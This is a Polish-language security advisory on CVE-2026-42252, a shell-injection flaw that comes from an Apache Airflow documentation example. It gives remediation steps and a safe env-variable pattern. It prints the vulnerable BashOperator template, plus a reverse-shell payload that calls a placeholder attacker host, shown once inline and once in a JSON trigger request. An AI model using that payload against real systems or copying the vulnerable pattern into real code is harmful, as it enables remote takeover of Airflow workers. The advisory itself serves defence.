Luka o krytyczności 9.1 w skali CVSS (Common Vulnerability Scoring System — skala 0-10 oceniająca powagę luki) została zidentyfikowana w Apache Airflow 1. Problem, oznaczony jako CVE (Common Vulnerabilities and Exposures, identyfikator publicznie znanej luki) CVE-2026-42252, nie leży w samym kodzie oprogramowania. Jego źródłem jest oficjalna dokumentacja projektu, która zawierała niebezpieczny przykład kodu 2 3.

Przykład, który miał ułatwić pracę programistom, stał się wektorem ataku umożliwiającym wstrzyknięcie poleceń powłoki 4. Deweloperzy, którzy skopiowali wzorzec bezpośrednio do swoich wdrożeń, nieświadomie otworzyli drogę do potencjalnego zdalnego wykonania kodu (RCE — Remote Code Execution) na serwerach roboczych Airflow 5. Problem dotyczy zwłaszcza środowisk, gdzie wielu użytkowników o różnych uprawnieniach może wyzwalać zadania 6.

TL;DR

  • Produkt: Apache Airflow, popularna platforma do orkiestracji przepływów pracy.
  • Wektor: Wstrzyknięcie poleceń powłoki poprzez spreparowane parametry przekazywane do zadania (DAG). Luka wynika z kopiowania niezabezpieczonego przykładu kodu z oficjalnej dokumentacji 2 3.
  • Identyfikator: CVE-2026-42252, ocena CVSS 9.1 (Krytyczna).
  • Wskaźnik kompromitacji: Obecność w kodzie wzorca BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") bez odpowiedniego zabezpieczenia danych wejściowych.
  • Kogo dotyczy: Organizacje, których zespoły deweloperskie mogły oprzeć swój kod na podatnym przykładzie z dokumentacji Airflow 7. Szczególnie narażone są wdrożenia wielozespołowe, gdzie użytkownicy o niższych uprawnieniach mogą wyzwalać zadania 8.
  • Pierwszy ruch: Audyt bazy kodu wszystkich zadań (DAGs) w poszukiwaniu podatnego wzorca i natychmiastowe wdrożenie sanityzacji danych wejściowych.

Wektor ataku

Problem ma swoje źródło w sekcji dokumentacji Apache Airflow core-concepts/dag-run.html, która opisywała przekazywanie parametrów do zadań 2. Zawarto tam przykład użycia BashOperator w następującej formie:

BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")

Ten fragment kodu był prezentowany bez żadnych ostrzeżeń dotyczących konieczności sanityzacji lub cytowania danych wejściowych pochodzących od użytkownika 9. Szablon Jinja2 {{ dag_run.conf['conf1'] }} wstawia wartość parametru conf1 bezpośrednio do polecenia powłoki. Jeśli deweloper skopiował ten wzorzec do produkcyjnego zadania (DAG), stworzył podatność na wstrzyknięcie poleceń 6.

Uwierzytelniony użytkownik z uprawnieniami do wyzwalania takiego zadania (Dag.can_trigger) mógł przekazać złośliwy ciąg znaków jako wartość parametru conf 10. Przykładowo, spreparowany ładunek mógł wyglądać następująco:

"; bash -i >& /dev/tcp/adres-atakujacego/9999 0>&1; #

Po wstawieniu do polecenia bash_command, końcowa komenda wykonana na serwerze roboczym Airflow mogłaby otworzyć odwrotną powłokę (reverse shell), dając atakującemu pełną kontrolę nad maszyną w kontekście użytkownika uruchamiającego zadanie 5. Może to prowadzić do zdalnego wykonania kodu i stwarza istotne ryzyko dla bezpieczeństwa serwera 11. Brak reakcji może skutkować nieautoryzowanym dostępem do systemów i potencjalnym wyciekiem danych 12.

Telemetria wskazuje, że jest to ta sama klasa problemu, która była przedmiotem wcześniejszych poprawek w dokumentacji, zidentyfikowanych jako CVE-2025-50213 i CVE-2025-27018 13. To pokazuje, że błędy w dokumentacji mogą być równie problematyczne co luki w samym oprogramowaniu.

Wskaźniki kompromitacji

Kompromitacja nie jest tutaj związana z konkretnymi adresami IP czy hashami plików, lecz z obecnością podatnego wzorca w kodzie źródłowym zadań Airflow. Zespoły bezpieczeństwa i deweloperzy powinni przeszukać swoje repozytoria w poszukiwaniu następującego lub podobnego użycia BashOperator:

Podatny wzorzec kodu:

# Wzorzec podatny na wstrzyknięcie poleceń
from airflow.operators.bash import BashOperator

BashOperator(
    task_id='przykladowe_zadanie',
    bash_command="echo value: {{ dag_run.conf['nazwa_parametru'] }}"
)

Przykładowy złośliwy ładunek (payload):

Użytkownik wywołujący zadanie przez API mógłby przekazać w polu conf ładunek podobny do poniższego, aby uzyskać odwrotną powłokę 5:

{
  "conf": {
    "nazwa_parametru": "; bash -i >& /dev/tcp/adres-C2/9999 0>&1; #"
  }
}

Obecność powyższego wzorca kodu bez mechanizmów obronnych jest jednoznacznym wskaźnikiem podatności.

Co zrobić w 24-48h

Rekomendowane podejście zakłada natychmiastowe działania prewencyjne i naprawcze. Poniższe kroki nie zastępują pełnego audytu bezpieczeństwa, ale stanowią kluczowy pierwszy ruch.

  1. Audyt kodu: Należy natychmiast przeprowadzić audyt wszystkich zadań (DAGs) w środowiskach Apache Airflow. Zaleca się użycie narzędzi takich jak grep lub podobnych do wyszukania w repozytoriach kodu wszystkich wystąpień BashOperator, które dynamicznie budują polecenia w oparciu o dag_run.conf lub inne zewnętrzne dane wejściowe.

  2. Wdrożenie poprawek: Wszędzie tam, gdzie zidentyfikowano podatny wzorzec, należy wprowadzić jawne cytowanie powłoki (shell-quoting). Poprawiona dokumentacja Airflow zawiera już bezpieczny przykład i ostrzeżenie 14. Zamiast bezpośredniego wstawiania wartości, zaleca się użycie zmiennych środowiskowych i pozwolenie, aby Airflow poprawnie je zabezpieczył.

    Bezpieczny wzorzec:

    from airflow.operators.bash import BashOperator

BashOperator(
    task_id='bezpieczne_zadanie',
    bash_command='echo "value: $INPUT_VALUE"',
    env={'INPUT_VALUE': "{{ dag_run.conf['nazwa_parametru'] }}"}
)

  3. Aktualizacja dokumentacji: Chociaż problem leży w kodzie aplikacji, a nie w samym Airflow, zaleca się aktualizację do wersji apache-airflow 3.2.2 lub nowszej 15. Dzięki temu zespoły będą miały dostęp do poprawionej, bezpiecznej wersji dokumentacji dostarczanej z pakietem, co może zapobiec powielaniu błędu w przyszłości.

  4. Kontekst polski: Wiele polskich firm z sektora e-commerce, finansów i data science używa Apache Airflow do orkiestracji procesów ETL i zadań analitycznych. Zespoły deweloperskie w Polsce powinny potraktować ten alert priorytetowo. W kontekście nadchodzących wymogów dyrektywy NIS2 (unijna dyrektywa o bezpieczeństwie sieci), zarządzanie podatnościami wynikającymi nawet z dokumentacji staje się kluczowym elementem zgodności i odporności organizacji.

Źródła

Zobacz też

Footnotes

  1. Odkrycie CVE-2026-42252 wskazuje na znaczącą lukę w Apache Airflow. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  2. Oficjalna dokumentacja Apache Airflow na stronie core-concepts/dag-run.html (sekcja „Passing Parameters when triggering Dags”) zawierała dosłowny przykład BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}"). — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩ ↩2 ↩3

  3. Dokumentacja Apache Airflow dostarczyła przykład kodu dla BashOperator bez odpowiednich cudzysłowów lub sanityzacji. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩ ↩2

  4. Atakujący mogą to wykorzystać, przesyłając spreparowane wartości do pola conf API wyzwalania, co prowadzi do ataków typu shell injection. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  5. Uwierzytelniony użytkownik wyzwalający mógłby dostarczyć "; bash -i >& /dev/tcp/.../9999 0>&1; #" jako wartość conf i osiągnąć os.exec na workerze. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩ ↩2 ↩3

  6. Autorzy Dagów, którzy skopiowali ten wzorzec dosłownie do wdrożeń, gdzie użytkownicy mieli uprawnienia Dag.can_trigger na danym Dag (typowych wdrożeniach wielozespołowych, ofertach hostowanych udostępniających API wyzwalania), mogli być narażeni na wstrzyknięcie metaznaków powłoki poprzez pole conf API wyzwalania. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩ ↩2

  7. Luka dotyczy wdrożeń, których kod Dag został oparty na przykładzie z dokumentacji sprzed poprawki. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩

  8. Zagrożenie to obejmuje wstrzyknięcie Jinja2 do BashOperator, co stwarza ryzyko dla wdrożeń, gdzie użytkownicy z niskimi uprawnieniami mają pozwolenie na wyzwalanie DAGów. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  9. Przykład kodu w dokumentacji Apache Airflow nie zawierał ostrzeżeń o cytowaniu/sanityzacji. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩

  10. To niedopatrzenie pozwala uwierzytelnionym użytkownikom, którzy mogą wyzwalać uruchomienia DAG, na wykonywanie szkodliwych poleceń. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  11. Luka CVE-2026-42252 stanowi znaczące ryzyko dla bezpieczeństwa serwera. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  12. Brak rozwiązania tego problemu może prowadzić do nieautoryzowanego dostępu i kontroli nad systemami, skutkując potencjalnymi naruszeniami danych. — https://bitninja.com/blog/cve-2026-42252-apache-airflow-vulnerability-alert/ ↩

  13. Jest to ta sama klasa problemów co poprzednie poprawki wzorców dokumentacji CVE-2025-50213 i CVE-2025-27018. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩

  14. Wzorzec w przykładzie dokumentacji zawiera teraz jawne cytowanie powłoki i ostrzeżenie dotyczące bezpieczeństwa. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩

  15. Użytkownikom zaleca się aktualizację do apache-airflow w wersji 3.2.2 lub nowszej, aby uzyskać poprawioną dokumentację dostarczoną z wydaniem. — https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↩